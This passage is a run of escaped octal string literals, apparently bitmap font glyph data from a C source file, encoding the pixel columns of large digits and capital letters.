\"\\0\\0\\0\\0\\0\\0\\0\\340\\376\\377\\377\\377\\177\\3\\0\\0\\200\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\370>\\37\\17\\17\\7\\3\\3\\3\\3\\3\\7\\7\\17\\37\\177\\377\\376\\374\\370\"\n  \"\\340\\0\\0\\0\\0\\0\\0\\77\\377\\377\\377\\377\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\203\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\3\\17\\77\\177\\377\\376\\370\\360\\340\\300\\300\\200\\200\\200\\200\\200\\300\\340\\360\\374\\377\\377\\177\\77\"\n  \"\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\303\\373\\377\\377\\377\\177\\17\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\377\\377\\377\\77\\17\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\377\\377\\377\\77\\7\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\377\\377\\177\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\376\\377\\377\\377\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\376\\377\\177\\37\\17\\7\\7\\7\\7\\7\\7\\7\\17\\17\\37\\377\\377\\376\\374\\370\\300\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\17\\77\\377\\377\\377\\374\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\300\\340\\374\\377\\377\\177\\77\\17\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\301\\343\\363\\367\\177\\77\\37\\37\\36>>\\177\\177\\377\\367\\363\\341\\300\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\360\\374\\376\\377\\377\\37\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\377\\377\\377\\376\"\n  \"\\370\\0\\0\\0\\0\\0\\7\\37\\177\\377\\377\\377\\370\\360\\340\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\340\\360\\374\\377\\377\\177\\77\"\n  \"\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\3\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\374\\376\\377\\177\\37\\17\\7\\7\\7\\3\\7\\7\\7\\17\\37\\77\\177\\376\\374\\370\\340\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\203\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\377\\377\\377\\377\"\n  \"\\374\\0\\0\\0\\0\\0\\0\\1\\17\\37\\177\\377\\377\\374\\370\\360\\340\\300\\300\\300\\300\\300\\340\\340\\360\\360x>\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\1\\0\\0\\340\\377\\377\\377\\377\"\n  \"\\37\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\340\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\340\\360\\370\\376\\177\\77\\37\\7\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\360\\360\\360\\360\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\17\\17\\17\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\360\\360\\360\\360\\360\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\7\\7\\17\\7\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\340\\340\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\17\\37\\37\\37\\37\\37\\17\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\360\\360\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\237\\377\\377\\377\\377\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0 p\\370~\\77\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\340\\340\\360\\360\\370\"\n  \"\\370||\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\340\\360\\360\\370\\370||>>\\37\\37\\17\\17\\7\\7\\3\\1\\1\\0\"\n  \"\\0\\0\\0\\0<>~\\377\\377\\377\\367\\347\\343\\303\\201\\201\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\7\\17\\17\\37\\77>||\\370\\370\\360\\360\\340\\300\\300\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\17\\37\\37\\77\"\n  \">|\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\"\n  \"\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0xxxxxxxxxxxxxxxxxxxxxxxxxxx\"\n  \"xxx\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\370\\360\\360\\340\\340\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\17\\17\\37\\37>>||\\370\\360\\360\\340\\340\\300\\300\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\203\\207\\307\\317\\377\\377\\376\\376\"\n  \"\\374|x\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\340\\340\\360\\370\\370||>>\\37\\17\\17\\7\\7\\3\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\370\\374|~>\\37\\37\\17\\17\\7\\3\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\340\\340\\360\\360\\360\\360\\360\\360\\360\\360\\340\\340\\300\\300\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\10\\36\\77\\177\\77\\17\\7\\7\\3\\1\\1\\1\\1\\0\\1\\1\\1\\3\\3\\17\\37\\377\\377\\377\\374\\360\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\377\\377\\377\\177\\37\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\374\\376\\377\\77\\37\\17\\7\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\177\\177\\177\\177\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\340\\340\\340\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\17\\17\\17\\17\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\340\\370\\374\\376>\\37\\37\\17\\7\\7\\7\\7\\3\\7\\7\\7\\7\\17\\17\\37\\77\\376\\374\\370\"\n  \"\\360\\300\\0\\0\\300\\374\\377\\377\\177\\7\\1\\0\\0\\0\\0\\0\\0\\300\\340\\360\\360\\370x|<<<<<<\\377\\377\"\n  \"\\377\\377\\376\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\374\\377\\377\\377\\207\\1\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\"\n  \"\\377\\377\\377\\0\\7\\177\\377\\377\\374\\340\\200\\0\\0\\0\\0\\1\\7\\17\\37\\77>|||||<>\\37\\17\\77\\77\"\n  \"\\77\\77\\77\\0\\0\\0\\1\\7\\17\\77\\177\\376\\374\\370\\360\\340\\340\\300\\300\\200\\200\\200\\200\\200\\200\\200\\200\\300\\300\\340\\340\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\3\\3\\3\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\374\\377\\377\\377\\377\\370\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\377\\177\\17\\1\\3\\37\\377\\377\\376\\370\\300\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\376\\377\\377\\37\\3\\0\\0\\0\\0\\0\\0\\7\\37\\377\\377\\376\\370\\300\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\340\\374\\377\\377\\177\\77<<<<<<<<<<<<\\77\\177\\377\\377\\376\\370\\300\"\n  \"\\0\\0\\0\\0\\300\\370\\377\\377\\377\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\177\\377\\377\"\n  \"\\376\\370\\300\\0\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\"\n  \"\\7\\7\\7\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\7\\7\\7\\7\\7\\7\\17\\37\\77\\377\\377\\376\\374\\360\"\n  \"\\300\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\370\\377\\377\\377\\77\"\n  \"\\17\\0\\0\\0\\0\\377\\377\\377\\377\\377\\36\\36\\36\\36\\36\\36\\36\\36\\37\\37\\37\\37\\77\\77\\77\\177\\377\\373\\363\\341\\300\\200\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\377\\377\\377\"\n  \"\\377\\374\\0\\0\\0\\377\\377\\377\\377\\377\\200\\200\\200\\200\\200\\200\\200\\200\\200\\300\\300\\300\\300\\300\\300\\340\\360\\370\\376\\377\\177\\77\"\n  \"\\37\\7\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\3\\3\\3\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\374\\376\\376\\77\\37\\37\\17\\7\\7\\7\\7\\3\\7\\7\\7\\17\\17\\37\\77\\177\\376\"\n  \"\\374\\370\\360\\300\\0\\300\\374\\377\\377\\377\\377\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\"\n  \"\\1\\1\\0\\0\\0\\377\\377\\377\\377\\377\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\7\\177\\377\\377\\377\\377\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37\\77\\177\\377\\376\\370\\360\\340\\340\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\340\\360\\370\\374\"\n  \"\\374x\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\3\\3\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\7\\7\\7\\7\\7\\7\\17\\37\\77\\177\\376\\374\\374\\360\\340\\200\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\177\\377\\377\\377\"\n  \"\\376\\340\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\377\\377\"\n  \"\\377\\17\\0\\0\\0\\377\\377\\377\\377\\377\\200\\200\\200\\200\\200\\300\\300\\300\\300\\300\\300\\340\\340\\360\\370\\374\\377\\177\\77\\37\\17\\3\"\n  \"\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\3\\3\\3\\1\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\0\\0\\0\\0\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\3\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\"\n  \"\\200\\200\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\374\\376~\\77\\37\\17\\17\\7\\7\\7\\7\\3\\7\\7\\7\\7\\17\\17\\37\\77\\376\\376\"\n  \"\\374x \\0\\200\\374\\377\\377\\377\\377\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\340\\340\\340\\0\\17\\177\\377\\377\\377\\377\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\0\\3\\17\\37\\77\\177\\377\\374\\370\\360\\340\\300\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\300\\340\\340\\377\\377\"\n  \"\\377\\377\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\7\\3\\3\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300@\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\"\n  \"\\300\\300\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\377\\377\\377\\377\\377\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\36\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  